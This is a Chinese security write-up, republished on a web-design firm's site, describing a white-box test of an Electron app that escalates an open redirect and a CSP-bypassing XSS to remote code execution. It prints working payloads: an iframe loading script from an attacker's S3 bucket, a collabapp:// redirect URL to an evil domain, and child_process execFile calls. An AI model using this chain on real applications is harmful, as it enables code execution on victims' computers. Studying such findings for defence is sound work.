网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

web安全团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > web安全 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

对Electron架构应用程序进行白盒安全测试,通过开放重定向跳转漏洞,提权到远程代码执行漏洞(RCE)。

文章来源:重庆网站建设 发布时间:2020-08-27 13:08:03 围观次数:
分享到:

摘要:在对Electron架构应用程序进行的白盒安全测试中,通过该应用程序中的一个开放的重定向跳转漏洞,并在调试功能的帮助下,提权了远程代码执行漏洞(RCE)。

  本文在对Electron架构应用程序进行的白盒安全测试中,通过该应用程序中的一个开放的重定向跳转漏洞,并在调试功能的帮助下,提权了远程代码执行漏洞(RCE)。(出于保密原因,其中显示的代码示例是匿名的)

  Node.js现在已经成为流行的开发环境。 React,React Native和Electron等框架都使用Node.js。开发人员可以轻松地使用它为移动和本地平台构建客户端应用程序。由于Node.js是异步驱动的javascript机制,因此客户端应用程序也可以说是环境应用程序的简化版本。

  但是,所有便利都会在以后带来安全风险。将路径和模板方法转移到客户的前端方法,可以使攻击者轻松发现一些有用的API端点或未混淆的编码数据信息。

  对于本地桌面应用程序,如果是Electron架构,则调试和反编译过程相对简单。无需直接使用专业的反编译器软件(例如Ghidra/Radare2/Ida),只需使用Electron内置的Chromium开发工具即可。另外,由于在Electron文档中建议使用asar包装方法,因此解包也可以像tar一样简单。

  攻击者可以使用目标应用程序的Electron架构的源代码来探索其中的客户端漏洞,然后实施提权以进一步形成代码执行漏洞。在这里,不需要使用流行的缓冲区溢出,只需使用Electron内置的nodeIntegration问题,就可以实现从XSS漏洞到弹出的本地系统计算器程序calc RCE升级。


白盒测试中发现的漏洞


  刚巧手头有一个Electron架构应用程序,立即将其安装在MacOS上并计划进行深入测试。首先使用以下步骤来提取应用程序的源代码:

  1.访问Application文件夹;

  2.右键单击该应用程序,然后选择“Show Package Contents”;

  3.输入包含打包文件app.asar的Contents目录;

  4.然后运行命令npx asar extract app.asar source(已安装应用程序中的Node);

  5.可以在新生成的源文件夹中查看反编译的源代码。


发现存在安全风险的配置问题


  在检查package.json文件时,从“ main”:“ app / index.js”配置文件中,发现该应用程序的主程序是由index.js启动的。对文件index.js的进一步检查发现,nodeIntegration设置为默认值true,它可以支持大多数BrowserWindow模块实例和Node.js的使用,这意味着可以使用它将恶意JS脚本升级为本地代码执行。由于nodeIntegration是默认值为true,因此窗口实例中的JS脚本可以访问本地Node.js函数(例如require)或导入危险模块(例如child_process)。最后,使用以下方法将导致诸如From Markdown to RCE in Atom这样的经典计算器calc的弹出情况:

  require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})


XSS漏洞尝试


  需要做的下一件事是找到一个XSS点。由于测试的目标应用程序是跨平台协作工具软件,与Slack或Zoom等应用程序有些相似,因此存在许多用户输入点,例如消息输入或共享文件上传。之后,从electron . --proxy-server=127.0.0.1:8080形式的源代码开始了该应用程序。然后将其流量代理到BurpSuite。

  然后,使用<b>pwned</b>方法在每个输入点测试HTML的Payload。一段时间后,发现了一个可疑的XSS点,但是奇怪的是,使用了Payload的标准形式,例如<script>alert()</script>或 <svg onload=alert()>无法有效触发。这似乎需要调试。


绕过CSP策略


  通常,可以使用F12或Ctrl Shift I的快捷键来访问应用程序的Electron架构中的DevTools,但是尝试了一下,这些快捷键均无效。似乎该应用程序删除了快捷键设置。之后从源代码中搜索了电子快捷键设置模块globalShortcut,发现以下配置:

  electron.globalShortcut.register('CommandOrControl+H', () => {

      activateDevMenu();

  });

  原来,该应用程序设置了自己的快捷键来打开菜单,输入CMD H,在菜单栏中弹出了一个开发者工具,其中包含许多选项,例如Update和Callback,但更重要的是, 也有DevTools选项!立即打开了它的DevTools选项,以测试以前的XSS Payload。然后从DevTools控制台提示消息中发现,以前的标准XSS  Payload失败的原因是CSP策略限制。该应用程序的CSP策略包括几个列入白名单的URL:

  Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com    https://fast.appcues.com https://*.firebaseio.com

  此CSP策略排除了unsafe-inline规则,并阻止了事件处理操作,例如svg。而且,由于构造的Payload以JS形式动态注入到页面中,因此<script>之类的通用标签当然会被CSP阻止。但是,CSP策略有一个致命错误:它允许包含输入通配形式(wildcard)的URL!因此,使用https://*.s3.amazonaws.com这样的URL,可以将脚本代码包含在自己的S3存储桶中。在这里,参照Intigriti's Easter XSS challenge项目,使用了包含iframe属性srcdoc的一个小技巧:

  <iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>

  使用这种方法成功获得了XSS的alert提示框!然后,将S3存储桶中的evilscript.js修改为:

  window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

  运行后,什么都没有了,让我们仔细看一下。


分析require函数


  回到DevTools控制台,发现了错误:Uncaught TypeError: window.require is not a function,这有点令人困惑,因为在nodeIntegration设置为true之后,window方法可以像require一样调用Node.js函数。再次回到源代码,发现以下代码用于创建BrowserWindow:

  const appWindow = createWindow('main', {

            width: 1080,

            height: 660,

            webPreferences: {

                nodeIntegration: true,

                preload: path.join(__dirname, 'preload.js')

            },

        });

  再次检查preload.js文件,发现其功能如下:

  window.nodeRequire = require;

  delete window.require;

  delete window.exports;

  delete window.module;

  事实证明,目标应用程序按预加载顺序重命名并删除了原始的相关require函数。这是Electron在调用外部JS库(例如AngularJS)时进行的设置。此时,需要更改某些具有相同名称的变量名称。就像之前发现的漏洞一样,不正确的配置总是会导致安全问题。在这里,启用的nodeIntegration配置和重命名的require函数使代码执行成为可能。

  经过微调后,使用window.parent.nodeRequire构造了XSS Payload。发送请求后得到了预期的计算器弹窗calc!


测试代码执行(Code Excution)


  实际上,在对目标应用程序进行代码审查之前,我在其Web应用程序中发现了一个开放重定向漏洞:

  https://collabapplication.com/redirect.jsp?next=//evil.com

  在安装了Slack或Zoom应用程序的系统中,如果浏览器打开了诸如zoom.us之类的链接,则它将运行以打开系统中的Zoom程序:

blob.png

  原因是浏览器打开的链接都是某些应用程序注册的特定格式的所有URL。例如,Zoom已注册了一种称为zoommtg的特定URL格式,因此,如果系统上安装了Zoom,请在浏览器中将其打开:

  zoommtg://zoom.us/start?confno=123456789&pwd=xxxx

  之后,它将触发Zoom程序运行。接下来,经过分析,在下面的源代码功能中发现测试的应用程序具有与上述类似的功能。只要在浏览器中打开特定页面,就会触发应用程序的协作过程:

function isWhitelistedDomain(url) {
    var allowed = ['collabapplication.com'];
    var test = extractDomain(url);

    if( allowed.indexOf(test) > -1 ) {
        return true;
    }

    return false;
};

let launchURL = parseLaunchURL(fullURL)

if isWhitelistedDomain(launchURL) {
    appWindow.loadURL(launchURL)
} else {
    appWindow.loadURL(homeURL)
}

  上面的代码可以解释如下:该应用程序具有特定格式的URL,名称为collabapp://collabapplication.com?meetingno=123&pwd=abc。从该URL启动应用程序时,该URL将传递到launch过程,launch进程会从collabapp://后判断域名是否为collabapplication.com,如果是,则URL为已加载。

  白名单检查是正确的,但它的安全性很脆弱,因为collabapplication.com中存在一个开放重定向漏洞,该漏洞可以迫使应用程序加载任意URL,再加上nodeIntegration的默认开放漏洞,完全可以加载该URL的应用程序并跳转到攻击者控制的恶意页面,然后通过window.parent.nodeRequire(...)实现代码执行。

  最终构造的Payload如下:

  collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html

  在evil.html中,输入以下代码命令:  window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

  使用此Payload,一旦受害者单击攻击者构建的恶意页面,计算器程序calc将自动弹出,从而实现RCE提权!


本文由 重庆网站建设 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:Electron 白盒安全测试 重定向跳转漏洞 远程代码执行漏洞 RCE

上一篇:漏洞复现分析之通达OA
下一篇:最后一页

热门资讯

鼠标向下滚动